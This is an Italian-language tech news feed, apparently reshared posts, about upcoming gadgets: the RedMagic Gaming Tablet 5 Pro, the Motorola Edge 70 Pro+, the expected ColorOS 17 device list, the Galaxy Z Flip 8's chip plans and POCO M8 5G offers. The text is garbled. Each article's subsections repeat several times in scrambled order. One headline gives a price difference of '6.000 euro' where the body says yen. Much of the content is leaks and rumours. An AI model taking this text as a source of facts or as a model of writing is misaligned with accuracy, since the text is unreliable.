Il RedMagic Gaming Tablet 5 Pro è il successore del Gaming Tablet 3 Pro e potrebbe corrispondere al modello noto come “RedMagic Astra” nei mercati internazionali. RedMagic non ha ancora fissato una data precisa, ma l’avvenuta certificazione suggerisce che il lancio in Cina sia imminente. Il predecessore era disponibile anche a livello globale, quindi è plausibile aspettarsi la stessa cosa per questo nuovo modello.

Con OLED a 185 Hz, chip di ultima generazione e fino a 24 GB di RAM, il RedMagic Gaming Tablet 5 Pro si prepara a ridefinire gli standard del gaming mobile su Android.

Display OLED da 9 pollici con 185 Hz di refresh


Uno dei dettagli più sorprendenti è il pannello OLED da 9 pollici con frequenza di aggiornamento di 185 Hz. Si tratta di un valore straordinario anche per gli standard dei tablet da gaming: la maggior parte si ferma a 120 o 144 Hz. Questo livello di fluidità è pensato per titoli competitivi dove ogni millisecondo può fare la differenza.

Snapdragon 8 Elite Gen 5 e raffreddamento liquido


Sotto il cofano dovrebbe trovare spazio il nuovissimo Snapdragon 8 Elite Gen 5, il chip di punta di Qualcomm di prossima generazione. Per gestire le temperature durante le sessioni intensive, il tablet integrerà un sistema di raffreddamento liquido. Le configurazioni previste arrivano fino a 24 GB di RAM e 1 TB di storage.

Batteria da 8.300 mAh e ricarica da 80W


La batteria è da circa 8.300 mAh, una capienza adeguata per sessioni di gioco prolungate. La certificazione 3C ha anche confermato il supporto alla ricarica rapida da 80W, un valore che permette di ricaricare il dispositivo in tempi contenuti nonostante l’ampia batteria.

Successore del Gaming Tablet 3 Pro


Il RedMagic Gaming Tablet 5 Pro è il successore del Gaming Tablet 3 Pro e potrebbe corrispondere al modello noto come “RedMagic Astra” nei mercati internazionali. RedMagic non ha ancora fissato una data precisa, ma l’avvenuta certificazione suggerisce che il lancio in Cina sia imminente. Il predecessore era disponibile anche a livello globale, quindi è plausibile aspettarsi la stessa cosa per questo nuovo modello.

Con OLED a 185 Hz, chip di ultima generazione e fino a 24 GB di RAM, il RedMagic Gaming Tablet 5 Pro si prepara a ridefinire gli standard del gaming mobile su Android.

Gli appassionati di gaming su Android possono già scaldare i motori: RedMagic Gaming Tablet 5 Pro è comparso nelle certificazioni cinesi e il produttore ha già annunciato un lancio previsto per questo mese di giugno. Le specifiche trapelate lo descrivono come il tablet Android più potente mai realizzato.

Display OLED da 9 pollici con 185 Hz di refresh


Uno dei dettagli più sorprendenti è il pannello OLED da 9 pollici con frequenza di aggiornamento di 185 Hz. Si tratta di un valore straordinario anche per gli standard dei tablet da gaming: la maggior parte si ferma a 120 o 144 Hz. Questo livello di fluidità è pensato per titoli competitivi dove ogni millisecondo può fare la differenza.

Snapdragon 8 Elite Gen 5 e raffreddamento liquido


Sotto il cofano dovrebbe trovare spazio il nuovissimo Snapdragon 8 Elite Gen 5, il chip di punta di Qualcomm di prossima generazione. Per gestire le temperature durante le sessioni intensive, il tablet integrerà un sistema di raffreddamento liquido. Le configurazioni previste arrivano fino a 24 GB di RAM e 1 TB di storage.

Batteria da 8.300 mAh e ricarica da 80W


La batteria è da circa 8.300 mAh, una capienza adeguata per sessioni di gioco prolungate. La certificazione 3C ha anche confermato il supporto alla ricarica rapida da 80W, un valore che permette di ricaricare il dispositivo in tempi contenuti nonostante l’ampia batteria.

Successore del Gaming Tablet 3 Pro


Il RedMagic Gaming Tablet 5 Pro è il successore del Gaming Tablet 3 Pro e potrebbe corrispondere al modello noto come “RedMagic Astra” nei mercati internazionali. RedMagic non ha ancora fissato una data precisa, ma l’avvenuta certificazione suggerisce che il lancio in Cina sia imminente. Il predecessore era disponibile anche a livello globale, quindi è plausibile aspettarsi la stessa cosa per questo nuovo modello.

Con OLED a 185 Hz, chip di ultima generazione e fino a 24 GB di RAM, il RedMagic Gaming Tablet 5 Pro si prepara a ridefinire gli standard del gaming mobile su Android.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Motorola Edge 70 Pro+ ufficiale in India: tripla fotocamera da 50 MP e batteria da 6.500 mAh


Motorola ha annunciato ufficialmente in India il suo nuovo smartphone di fascia alta: l'Edge 70 Pro+. Si tratta essenzialmente di una versione rebrandizzata dell'Edge 70 Pro per il mercato indiano, con alcune caratteristiche premium che lo rendono un dispositivo da tenere d'occhio anche fuori dai confini asiatici. Design Pantone e display da 144 Hz Il design è curato in collaborazione con Pantone, disponibile in tre colorazioni: Chicory Coffee (marrone), Zinfandel (rosso) e Stormy Sea […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Tripla fotocamera, tutte da 50 MP


Il comparto fotografico è uno dei punti di forza: tre sensori posteriori, tutti da 50 MP. Il principale utilizza il sensore Sony LYTIA-710 con apertura f/1.8 e OIS. Seguono un teleobiettivo da 50 MP con zoom ottico 3,5x (equivalente a 81mm) e un grandangolo da 50 MP. Anche la fotocamera anteriore è da 50 MP.

Batteria al silicio-carbonio da 6.500 mAh e Android 16


La batteria è una unità al silicio-carbonio da 6.500 mAh, con ricarica cablata da 90W e wireless da 15W. Il sistema operativo è Android 16 con l’interfaccia Hello UI e l’assistente Moto AI 2.0. Motorola garantisce 3 aggiornamenti principali del sistema e 5 anni di patch di sicurezza. La certificazione impermeabilità è IP68 e IP69.

Il prezzo in India è di 47.999 rupie (circa 500 euro) per la configurazione unica da 12 GB + 256 GB. Le vendite partono dall’11 giugno. Al momento non ci sono conferme su una disponibilità europea, ma le specifiche lo rendono un concorrente interessante per il segmento fascia medio-alta.

Chip Dimensity 8500 Extreme e 12 GB di RAM


Sotto la scocca troviamo il processore MediaTek Dimensity 8500 Extreme, abbinato a 12 GB di RAM LPDDR5X e 256 GB di storage UFS 4.1. Una configurazione pensata per gestire senza problemi sia la produttività quotidiana che le sessioni di gaming.

Tripla fotocamera, tutte da 50 MP


Il comparto fotografico è uno dei punti di forza: tre sensori posteriori, tutti da 50 MP. Il principale utilizza il sensore Sony LYTIA-710 con apertura f/1.8 e OIS. Seguono un teleobiettivo da 50 MP con zoom ottico 3,5x (equivalente a 81mm) e un grandangolo da 50 MP. Anche la fotocamera anteriore è da 50 MP.

Batteria al silicio-carbonio da 6.500 mAh e Android 16


La batteria è una unità al silicio-carbonio da 6.500 mAh, con ricarica cablata da 90W e wireless da 15W. Il sistema operativo è Android 16 con l’interfaccia Hello UI e l’assistente Moto AI 2.0. Motorola garantisce 3 aggiornamenti principali del sistema e 5 anni di patch di sicurezza. La certificazione impermeabilità è IP68 e IP69.

Il prezzo in India è di 47.999 rupie (circa 500 euro) per la configurazione unica da 12 GB + 256 GB. Le vendite partono dall’11 giugno. Al momento non ci sono conferme su una disponibilità europea, ma le specifiche lo rendono un concorrente interessante per il segmento fascia medio-alta.

Design Pantone e display da 144 Hz


Il design è curato in collaborazione con Pantone, disponibile in tre colorazioni: Chicory Coffee (marrone), Zinfandel (rosso) e Stormy Sea (blu). Il display è un pannello AMOLED da 6,8 pollici con risoluzione FHD+ e refresh rate fino a 144 Hz. La luminosità di picco raggiunge i 5.200 nit, garantendo un’ottima visibilità anche in piena luce solare. Il vetro protettivo è Gorilla Glass 7i.

Chip Dimensity 8500 Extreme e 12 GB di RAM


Sotto la scocca troviamo il processore MediaTek Dimensity 8500 Extreme, abbinato a 12 GB di RAM LPDDR5X e 256 GB di storage UFS 4.1. Una configurazione pensata per gestire senza problemi sia la produttività quotidiana che le sessioni di gaming.

Tripla fotocamera, tutte da 50 MP


Il comparto fotografico è uno dei punti di forza: tre sensori posteriori, tutti da 50 MP. Il principale utilizza il sensore Sony LYTIA-710 con apertura f/1.8 e OIS. Seguono un teleobiettivo da 50 MP con zoom ottico 3,5x (equivalente a 81mm) e un grandangolo da 50 MP. Anche la fotocamera anteriore è da 50 MP.

Batteria al silicio-carbonio da 6.500 mAh e Android 16


La batteria è una unità al silicio-carbonio da 6.500 mAh, con ricarica cablata da 90W e wireless da 15W. Il sistema operativo è Android 16 con l’interfaccia Hello UI e l’assistente Moto AI 2.0. Motorola garantisce 3 aggiornamenti principali del sistema e 5 anni di patch di sicurezza. La certificazione impermeabilità è IP68 e IP69.

Il prezzo in India è di 47.999 rupie (circa 500 euro) per la configurazione unica da 12 GB + 256 GB. Le vendite partono dall’11 giugno. Al momento non ci sono conferme su una disponibilità europea, ma le specifiche lo rendono un concorrente interessante per il segmento fascia medio-alta.

Motorola ha annunciato ufficialmente in India il suo nuovo smartphone di fascia alta: l’Edge 70 Pro+. Si tratta essenzialmente di una versione rebrandizzata dell’Edge 70 Pro per il mercato indiano, con alcune caratteristiche premium che lo rendono un dispositivo da tenere d’occhio anche fuori dai confini asiatici.

Design Pantone e display da 144 Hz


Il design è curato in collaborazione con Pantone, disponibile in tre colorazioni: Chicory Coffee (marrone), Zinfandel (rosso) e Stormy Sea (blu). Il display è un pannello AMOLED da 6,8 pollici con risoluzione FHD+ e refresh rate fino a 144 Hz. La luminosità di picco raggiunge i 5.200 nit, garantendo un’ottima visibilità anche in piena luce solare. Il vetro protettivo è Gorilla Glass 7i.

Chip Dimensity 8500 Extreme e 12 GB di RAM


Sotto la scocca troviamo il processore MediaTek Dimensity 8500 Extreme, abbinato a 12 GB di RAM LPDDR5X e 256 GB di storage UFS 4.1. Una configurazione pensata per gestire senza problemi sia la produttività quotidiana che le sessioni di gaming.

Tripla fotocamera, tutte da 50 MP


Il comparto fotografico è uno dei punti di forza: tre sensori posteriori, tutti da 50 MP. Il principale utilizza il sensore Sony LYTIA-710 con apertura f/1.8 e OIS. Seguono un teleobiettivo da 50 MP con zoom ottico 3,5x (equivalente a 81mm) e un grandangolo da 50 MP. Anche la fotocamera anteriore è da 50 MP.

Batteria al silicio-carbonio da 6.500 mAh e Android 16


La batteria è una unità al silicio-carbonio da 6.500 mAh, con ricarica cablata da 90W e wireless da 15W. Il sistema operativo è Android 16 con l’interfaccia Hello UI e l’assistente Moto AI 2.0. Motorola garantisce 3 aggiornamenti principali del sistema e 5 anni di patch di sicurezza. La certificazione impermeabilità è IP68 e IP69.

Il prezzo in India è di 47.999 rupie (circa 500 euro) per la configurazione unica da 12 GB + 256 GB. Le vendite partono dall’11 giugno. Al momento non ci sono conferme su una disponibilità europea, ma le specifiche lo rendono un concorrente interessante per il segmento fascia medio-alta.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

ColorOS 17 (Android 17): ecco tutti i dispositivi OPPO che riceveranno l’aggiornamento


Si avvicina il lancio ufficiale di Android 17 e, di conseguenza, anche ColorOS 17, la personalizzazione di OPPO basata sul nuovo sistema operativo di Google. È emersa una lista dettagliata dei dispositivi che dovrebbero ricevere l'aggiornamento, e include una lunga serie di modelli delle principali famiglie del brand cinese. La lista completa dei dispositivi supportati Ecco i modelli OPPO che con ogni probabilità riceveranno ColorOS 17: Serie Find N e Find X Dalla serie Find N sono […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Serie F, K e Pad


Per la serie F sono inseriti i modelli F29, F29 Pro, F31, F31 Pro, F31 Pro+ e F33, F33 Pro. La famiglia K include K13, K13 Turbo, K13 Turbo Pro e K13x. Infine, anche alcune versioni di OPPO Pad — Pad 5, Pad 3 e Pad SE — figurano nella lista.

Perché mancano i modelli della serie A?


La serie A di OPPO è assente dall’elenco. Il motivo è tecnico: molti dispositivi di quella famiglia non dispongono di una politica di aggiornamento chiara, quindi sono stati esclusi dalla previsione per garantirne l’accuratezza. Non è escluso che alcuni modelli A vengano aggiunti in seguito.

Va ricordato che questa lista non è ufficiale, ma si basa sulle politiche di aggiornamento dichiarate dai vari modelli. OPPO non ha ancora pubblicato la lista definitiva. ColorOS 17 porterà con sé importanti novità nell’interfaccia e nelle prestazioni, in linea con le nuove funzionalità di Android 17.

Serie Reno


La serie Reno è quella più numerosa: sono inclusi i modelli dalla generazione 11 alla 15, con diverse varianti (Pro, Pro+, Pro Max, F, FS). In totale, sono presenti decine di dispositivi Reno nell’elenco.

Serie F, K e Pad


Per la serie F sono inseriti i modelli F29, F29 Pro, F31, F31 Pro, F31 Pro+ e F33, F33 Pro. La famiglia K include K13, K13 Turbo, K13 Turbo Pro e K13x. Infine, anche alcune versioni di OPPO Pad — Pad 5, Pad 3 e Pad SE — figurano nella lista.

Perché mancano i modelli della serie A?


La serie A di OPPO è assente dall’elenco. Il motivo è tecnico: molti dispositivi di quella famiglia non dispongono di una politica di aggiornamento chiara, quindi sono stati esclusi dalla previsione per garantirne l’accuratezza. Non è escluso che alcuni modelli A vengano aggiunti in seguito.

Va ricordato che questa lista non è ufficiale, ma si basa sulle politiche di aggiornamento dichiarate dai vari modelli. OPPO non ha ancora pubblicato la lista definitiva. ColorOS 17 porterà con sé importanti novità nell’interfaccia e nelle prestazioni, in linea con le nuove funzionalità di Android 17.

Serie Find N e Find X


Dalla serie Find N sono inclusi i modelli Find N6, N5, N3, N3 Flip, N2 e N2 Flip. Per la famiglia Find X, i dispositivi coperti spaziano dall’OPPO Find X9, X9 Pro e X9 Ultra fino a Find X8 e X7 nelle loro rispettive varianti Pro e Ultra, oltre ai precedenti Find X6 e X6 Pro.

Serie Reno


La serie Reno è quella più numerosa: sono inclusi i modelli dalla generazione 11 alla 15, con diverse varianti (Pro, Pro+, Pro Max, F, FS). In totale, sono presenti decine di dispositivi Reno nell’elenco.

Serie F, K e Pad


Per la serie F sono inseriti i modelli F29, F29 Pro, F31, F31 Pro, F31 Pro+ e F33, F33 Pro. La famiglia K include K13, K13 Turbo, K13 Turbo Pro e K13x. Infine, anche alcune versioni di OPPO Pad — Pad 5, Pad 3 e Pad SE — figurano nella lista.

Perché mancano i modelli della serie A?


La serie A di OPPO è assente dall’elenco. Il motivo è tecnico: molti dispositivi di quella famiglia non dispongono di una politica di aggiornamento chiara, quindi sono stati esclusi dalla previsione per garantirne l’accuratezza. Non è escluso che alcuni modelli A vengano aggiunti in seguito.

Va ricordato che questa lista non è ufficiale, ma si basa sulle politiche di aggiornamento dichiarate dai vari modelli. OPPO non ha ancora pubblicato la lista definitiva. ColorOS 17 porterà con sé importanti novità nell’interfaccia e nelle prestazioni, in linea con le nuove funzionalità di Android 17.

La lista completa dei dispositivi supportati


Ecco i modelli OPPO che con ogni probabilità riceveranno ColorOS 17:

Serie Find N e Find X


Dalla serie Find N sono inclusi i modelli Find N6, N5, N3, N3 Flip, N2 e N2 Flip. Per la famiglia Find X, i dispositivi coperti spaziano dall’OPPO Find X9, X9 Pro e X9 Ultra fino a Find X8 e X7 nelle loro rispettive varianti Pro e Ultra, oltre ai precedenti Find X6 e X6 Pro.

Serie Reno


La serie Reno è quella più numerosa: sono inclusi i modelli dalla generazione 11 alla 15, con diverse varianti (Pro, Pro+, Pro Max, F, FS). In totale, sono presenti decine di dispositivi Reno nell’elenco.

Serie F, K e Pad


Per la serie F sono inseriti i modelli F29, F29 Pro, F31, F31 Pro, F31 Pro+ e F33, F33 Pro. La famiglia K include K13, K13 Turbo, K13 Turbo Pro e K13x. Infine, anche alcune versioni di OPPO Pad — Pad 5, Pad 3 e Pad SE — figurano nella lista.

Perché mancano i modelli della serie A?


La serie A di OPPO è assente dall’elenco. Il motivo è tecnico: molti dispositivi di quella famiglia non dispongono di una politica di aggiornamento chiara, quindi sono stati esclusi dalla previsione per garantirne l’accuratezza. Non è escluso che alcuni modelli A vengano aggiunti in seguito.

Va ricordato che questa lista non è ufficiale, ma si basa sulle politiche di aggiornamento dichiarate dai vari modelli. OPPO non ha ancora pubblicato la lista definitiva. ColorOS 17 porterà con sé importanti novità nell’interfaccia e nelle prestazioni, in linea con le nuove funzionalità di Android 17.

Si avvicina il lancio ufficiale di Android 17 e, di conseguenza, anche ColorOS 17, la personalizzazione di OPPO basata sul nuovo sistema operativo di Google. È emersa una lista dettagliata dei dispositivi che dovrebbero ricevere l’aggiornamento, e include una lunga serie di modelli delle principali famiglie del brand cinese.

La lista completa dei dispositivi supportati


Ecco i modelli OPPO che con ogni probabilità riceveranno ColorOS 17:

Serie Find N e Find X


Dalla serie Find N sono inclusi i modelli Find N6, N5, N3, N3 Flip, N2 e N2 Flip. Per la famiglia Find X, i dispositivi coperti spaziano dall’OPPO Find X9, X9 Pro e X9 Ultra fino a Find X8 e X7 nelle loro rispettive varianti Pro e Ultra, oltre ai precedenti Find X6 e X6 Pro.

Serie Reno


La serie Reno è quella più numerosa: sono inclusi i modelli dalla generazione 11 alla 15, con diverse varianti (Pro, Pro+, Pro Max, F, FS). In totale, sono presenti decine di dispositivi Reno nell’elenco.

Serie F, K e Pad


Per la serie F sono inseriti i modelli F29, F29 Pro, F31, F31 Pro, F31 Pro+ e F33, F33 Pro. La famiglia K include K13, K13 Turbo, K13 Turbo Pro e K13x. Infine, anche alcune versioni di OPPO Pad — Pad 5, Pad 3 e Pad SE — figurano nella lista.

Perché mancano i modelli della serie A?


La serie A di OPPO è assente dall’elenco. Il motivo è tecnico: molti dispositivi di quella famiglia non dispongono di una politica di aggiornamento chiara, quindi sono stati esclusi dalla previsione per garantirne l’accuratezza. Non è escluso che alcuni modelli A vengano aggiunti in seguito.

Va ricordato che questa lista non è ufficiale, ma si basa sulle politiche di aggiornamento dichiarate dai vari modelli. OPPO non ha ancora pubblicato la lista definitiva. ColorOS 17 porterà con sé importanti novità nell’interfaccia e nelle prestazioni, in linea con le nuove funzionalità di Android 17.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Galaxy Z Flip 8: potrebbe tornare il doppio chip Exynos/Snapdragon in base alla regione


Samsung potrebbe riportare in vita la strategia del doppio chip per il suo prossimo pieghevole a conchiglia. Secondo nuovi leak, il Galaxy Z Flip 8 potrebbe adottare processori diversi a seconda del mercato: Exynos in alcune regioni e Snapdragon in altre, proprio come avviene già per i Galaxy S. Un passo indietro dopo il Z Flip 7 Con il Galaxy Z Flip 7, Samsung aveva scelto di unificare la lineup puntando esclusivamente sul chip Exynos sviluppato internamente. Ora però, stando alle ultime […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Chi avrà quale chip?


Non ci sono ancora conferme ufficiali, ma seguendo la logica adottata per i Galaxy S, è probabile che mercati come USA, Giappone e Canada ricevano la versione Snapdragon, mentre Europa, India e Corea potrebbero ricevere quella Exynos. Questo implica potenziali differenze di prestazioni e autonomia a seconda della regione.

Disponibilità confermata in Giappone


Quello che sembra già certo è che il Galaxy Z Flip 8 sarà disponibile in tutti i principali mercati. Documenti di certificazione indicano la presenza del dispositivo su NTT Docomo, KDDI, SoftBank e Rakuten Mobile, più una versione SIM-free. La presentazione è attesa per la prossima Galaxy Unpacked estiva.

Come sempre con i leak, occorre attendere conferme ufficiali da Samsung. Ma se il ritorno al doppio chip venisse confermato, sarebbe una svolta interessante nella strategia del brand per i pieghevoli.

Il problema dei costi di Exynos 2600


Il presunto chip di nuova generazione, l’Exynos 2600, sarebbe prodotto con processo a 2nm — una tecnologia avanzata che porta con sé costi di produzione elevati. Equipaggiare con questo chip l’intera flotta mondiale di Galaxy Z Flip 8 sarebbe troppo oneroso, e Samsung preferirebbe riservarlo ad alcuni mercati, affidandosi a Qualcomm per il resto del mondo.

Chi avrà quale chip?


Non ci sono ancora conferme ufficiali, ma seguendo la logica adottata per i Galaxy S, è probabile che mercati come USA, Giappone e Canada ricevano la versione Snapdragon, mentre Europa, India e Corea potrebbero ricevere quella Exynos. Questo implica potenziali differenze di prestazioni e autonomia a seconda della regione.

Disponibilità confermata in Giappone


Quello che sembra già certo è che il Galaxy Z Flip 8 sarà disponibile in tutti i principali mercati. Documenti di certificazione indicano la presenza del dispositivo su NTT Docomo, KDDI, SoftBank e Rakuten Mobile, più una versione SIM-free. La presentazione è attesa per la prossima Galaxy Unpacked estiva.

Come sempre con i leak, occorre attendere conferme ufficiali da Samsung. Ma se il ritorno al doppio chip venisse confermato, sarebbe una svolta interessante nella strategia del brand per i pieghevoli.

Un passo indietro dopo il Z Flip 7


Con il Galaxy Z Flip 7, Samsung aveva scelto di unificare la lineup puntando esclusivamente sul chip Exynos sviluppato internamente. Ora però, stando alle ultime indiscrezioni, l’azienda starebbe valutando un cambio di rotta per il modello successivo. La scelta di tornare al doppio chip sembrerebbe dettata principalmente da motivazioni economiche.

Il problema dei costi di Exynos 2600


Il presunto chip di nuova generazione, l’Exynos 2600, sarebbe prodotto con processo a 2nm — una tecnologia avanzata che porta con sé costi di produzione elevati. Equipaggiare con questo chip l’intera flotta mondiale di Galaxy Z Flip 8 sarebbe troppo oneroso, e Samsung preferirebbe riservarlo ad alcuni mercati, affidandosi a Qualcomm per il resto del mondo.

Chi avrà quale chip?


Non ci sono ancora conferme ufficiali, ma seguendo la logica adottata per i Galaxy S, è probabile che mercati come USA, Giappone e Canada ricevano la versione Snapdragon, mentre Europa, India e Corea potrebbero ricevere quella Exynos. Questo implica potenziali differenze di prestazioni e autonomia a seconda della regione.

Disponibilità confermata in Giappone


Quello che sembra già certo è che il Galaxy Z Flip 8 sarà disponibile in tutti i principali mercati. Documenti di certificazione indicano la presenza del dispositivo su NTT Docomo, KDDI, SoftBank e Rakuten Mobile, più una versione SIM-free. La presentazione è attesa per la prossima Galaxy Unpacked estiva.

Come sempre con i leak, occorre attendere conferme ufficiali da Samsung. Ma se il ritorno al doppio chip venisse confermato, sarebbe una svolta interessante nella strategia del brand per i pieghevoli.

Samsung potrebbe riportare in vita la strategia del doppio chip per il suo prossimo pieghevole a conchiglia. Secondo nuovi leak, il Galaxy Z Flip 8 potrebbe adottare processori diversi a seconda del mercato: Exynos in alcune regioni e Snapdragon in altre, proprio come avviene già per i Galaxy S.

Un passo indietro dopo il Z Flip 7


Con il Galaxy Z Flip 7, Samsung aveva scelto di unificare la lineup puntando esclusivamente sul chip Exynos sviluppato internamente. Ora però, stando alle ultime indiscrezioni, l’azienda starebbe valutando un cambio di rotta per il modello successivo. La scelta di tornare al doppio chip sembrerebbe dettata principalmente da motivazioni economiche.

Il problema dei costi di Exynos 2600


Il presunto chip di nuova generazione, l’Exynos 2600, sarebbe prodotto con processo a 2nm — una tecnologia avanzata che porta con sé costi di produzione elevati. Equipaggiare con questo chip l’intera flotta mondiale di Galaxy Z Flip 8 sarebbe troppo oneroso, e Samsung preferirebbe riservarlo ad alcuni mercati, affidandosi a Qualcomm per il resto del mondo.

Chi avrà quale chip?


Non ci sono ancora conferme ufficiali, ma seguendo la logica adottata per i Galaxy S, è probabile che mercati come USA, Giappone e Canada ricevano la versione Snapdragon, mentre Europa, India e Corea potrebbero ricevere quella Exynos. Questo implica potenziali differenze di prestazioni e autonomia a seconda della regione.

Disponibilità confermata in Giappone


Quello che sembra già certo è che il Galaxy Z Flip 8 sarà disponibile in tutti i principali mercati. Documenti di certificazione indicano la presenza del dispositivo su NTT Docomo, KDDI, SoftBank e Rakuten Mobile, più una versione SIM-free. La presentazione è attesa per la prossima Galaxy Unpacked estiva.

Come sempre con i leak, occorre attendere conferme ufficiali da Samsung. Ma se il ritorno al doppio chip venisse confermato, sarebbe una svolta interessante nella strategia del brand per i pieghevoli.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

POCO M8 5G in offerta su Amazon: stesso chip della Xperia 10 VII ma a metà prezzo


In un mercato dove i prezzi degli smartphone continuano a salire, il POCO M8 5G si fa notare grazie a un'offerta su Amazon che abbassa ulteriormente il prezzo di un modello già molto accessibile. Ma la notizia più interessante è il confronto con la concorrenza: stesso chip della Sony Xperia 10 VII, ma a meno della metà del costo. L'offerta Amazon Il modello da 8 GB + 256 GB del POCO M8 5G è attualmente disponibile su Amazon con uno sconto dell'11%, al prezzo di 32.800 yen. Una cifra […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Stesso chip, prezzo doppio: il confronto con Xperia 10 VII


Sia il POCO M8 5G che la Sony Xperia 10 VII montano il chip Snapdragon 6 Gen 3. Eppure la differenza di prezzo è enorme:

  • POCO M8 5G (8 GB / 256 GB): 32.800 yen
  • Sony Xperia 10 VII (8 GB / 128 GB): 74.800 yen

Il POCO costa meno del 44% rispetto alla Xperia. E lo fa offrendo addirittura il doppio dello storage (256 GB contro 128 GB). A parità di SoC, quindi, chi sceglie POCO risparmia oltre 40.000 yen e ottiene più spazio di archiviazione.

Non solo prezzo: le specifiche del POCO M8 5G


Al di là del confronto, il POCO M8 5G se la cava bene anche da solo: display AMOLED da 6,77 pollici con refresh a 120 Hz, fotocamera principale da 50 MP, batteria da 5.520 mAh con ricarica da 45W e supporto a Google Gemini e alle funzioni AI di editing foto.

Certo, la Sony Xperia 10 VII ha i suoi punti di forza — design raffinato, resistenza all’acqua certificata, leggerezza e l’ecosistema Sony — ma per chi punta al massimo delle prestazioni al minimo della spesa, il POCO M8 5G con questa offerta è difficile da ignorare.

L’offerta Amazon


Il modello da 8 GB + 256 GB del POCO M8 5G è attualmente disponibile su Amazon con uno sconto dell’11%, al prezzo di 32.800 yen. Una cifra già interessante di suo, ma che diventa ancora più significativa se confrontata con altri smartphone equipaggiati con lo stesso processore.

Stesso chip, prezzo doppio: il confronto con Xperia 10 VII


Sia il POCO M8 5G che la Sony Xperia 10 VII montano il chip Snapdragon 6 Gen 3. Eppure la differenza di prezzo è enorme:

  • POCO M8 5G (8 GB / 256 GB): 32.800 yen
  • Sony Xperia 10 VII (8 GB / 128 GB): 74.800 yen

Il POCO costa meno del 44% rispetto alla Xperia. E lo fa offrendo addirittura il doppio dello storage (256 GB contro 128 GB). A parità di SoC, quindi, chi sceglie POCO risparmia oltre 40.000 yen e ottiene più spazio di archiviazione.

Non solo prezzo: le specifiche del POCO M8 5G


Al di là del confronto, il POCO M8 5G se la cava bene anche da solo: display AMOLED da 6,77 pollici con refresh a 120 Hz, fotocamera principale da 50 MP, batteria da 5.520 mAh con ricarica da 45W e supporto a Google Gemini e alle funzioni AI di editing foto.

Certo, la Sony Xperia 10 VII ha i suoi punti di forza — design raffinato, resistenza all’acqua certificata, leggerezza e l’ecosistema Sony — ma per chi punta al massimo delle prestazioni al minimo della spesa, il POCO M8 5G con questa offerta è difficile da ignorare.

In un mercato dove i prezzi degli smartphone continuano a salire, il POCO M8 5G si fa notare grazie a un’offerta su Amazon che abbassa ulteriormente il prezzo di un modello già molto accessibile. Ma la notizia più interessante è il confronto con la concorrenza: stesso chip della Sony Xperia 10 VII, ma a meno della metà del costo.

L’offerta Amazon


Il modello da 8 GB + 256 GB del POCO M8 5G è attualmente disponibile su Amazon con uno sconto dell’11%, al prezzo di 32.800 yen. Una cifra già interessante di suo, ma che diventa ancora più significativa se confrontata con altri smartphone equipaggiati con lo stesso processore.

Stesso chip, prezzo doppio: il confronto con Xperia 10 VII


Sia il POCO M8 5G che la Sony Xperia 10 VII montano il chip Snapdragon 6 Gen 3. Eppure la differenza di prezzo è enorme:

  • POCO M8 5G (8 GB / 256 GB): 32.800 yen
  • Sony Xperia 10 VII (8 GB / 128 GB): 74.800 yen

Il POCO costa meno del 44% rispetto alla Xperia. E lo fa offrendo addirittura il doppio dello storage (256 GB contro 128 GB). A parità di SoC, quindi, chi sceglie POCO risparmia oltre 40.000 yen e ottiene più spazio di archiviazione.

Non solo prezzo: le specifiche del POCO M8 5G


Al di là del confronto, il POCO M8 5G se la cava bene anche da solo: display AMOLED da 6,77 pollici con refresh a 120 Hz, fotocamera principale da 50 MP, batteria da 5.520 mAh con ricarica da 45W e supporto a Google Gemini e alle funzioni AI di editing foto.

Certo, la Sony Xperia 10 VII ha i suoi punti di forza — design raffinato, resistenza all’acqua certificata, leggerezza e l’ecosistema Sony — ma per chi punta al massimo delle prestazioni al minimo della spesa, il POCO M8 5G con questa offerta è difficile da ignorare.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

POCO M8 5G: arriva il modello da 512GB con soli 6.000 euro in più


POCO, il brand di Xiaomi noto per l'ottimo rapporto qualità-prezzo, ha annunciato una nuova variante del suo smartphone entry-level POCO M8 5G: il modello da 512 GB di storage interno. Una notizia attesa da chi cercava più spazio senza dover cambiare fascia di prezzo. 512 GB a soli 6.000 yen in più Fino ad oggi il POCO M8 5G era disponibile in un'unica configurazione da 8 GB di RAM e 256 GB di storage, al prezzo di 36.980 yen. Con il nuovo modello da 512 GB, il prezzo sale a 42.980 yen: […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Fotocamere e batteria


Sul fronte fotografico, il POCO M8 5G monta una fotocamera principale da 50 MP abbinata a un sensore di profondità da 2 MP. La fotocamera frontale è da 20 MP. La batteria da 5.520 mAh supporta la ricarica rapida cablata da 45W e il reverse charging fino a 18W.

Funzioni AI integrate


Non mancano le funzioni intelligenti: il dispositivo supporta Google Gemini, la ricerca con “cerchia e cerca”, e diverse funzionalità AI per l’editing fotografico come AI Gomma, rimozione riflessi AI, AI Sky e AI Beauty. Un set di strumenti solitamente riservato a smartphone ben più costosi.

Il nuovo modello da 512 GB rappresenta una scelta interessante per chi usa intensivamente fotocamere, giochi o applicazioni pesanti e vuole essere al sicuro dal problema dello spazio esaurito. Con meno di 43.000 yen, il POCO M8 5G si conferma uno degli smartphone più competitivi nella sua fascia.

Scheda tecnica: Snapdragon 6 Gen 3 e display AMOLED 120Hz


Il POCO M8 5G è uno smartphone che punta molto sul rapporto prestazioni/prezzo. Al suo interno troviamo il chip Snapdragon 6 Gen 3 prodotto a 4nm, affiancato da 8 GB di RAM LPDDR5X e dall’unità storage da 256 o 512 GB. Per chi volesse ancora più spazio, c’è anche il supporto a microSD fino a 1 TB.

Il display è un pannello AMOLED da 6,77 pollici con risoluzione FHD+ (2392×1080), refresh rate fino a 120 Hz, luminosità di picco a 3.200 nit e supporto al colore DCI-P3. Numeri di tutto rispetto per questa fascia di prezzo.

Fotocamere e batteria


Sul fronte fotografico, il POCO M8 5G monta una fotocamera principale da 50 MP abbinata a un sensore di profondità da 2 MP. La fotocamera frontale è da 20 MP. La batteria da 5.520 mAh supporta la ricarica rapida cablata da 45W e il reverse charging fino a 18W.

Funzioni AI integrate


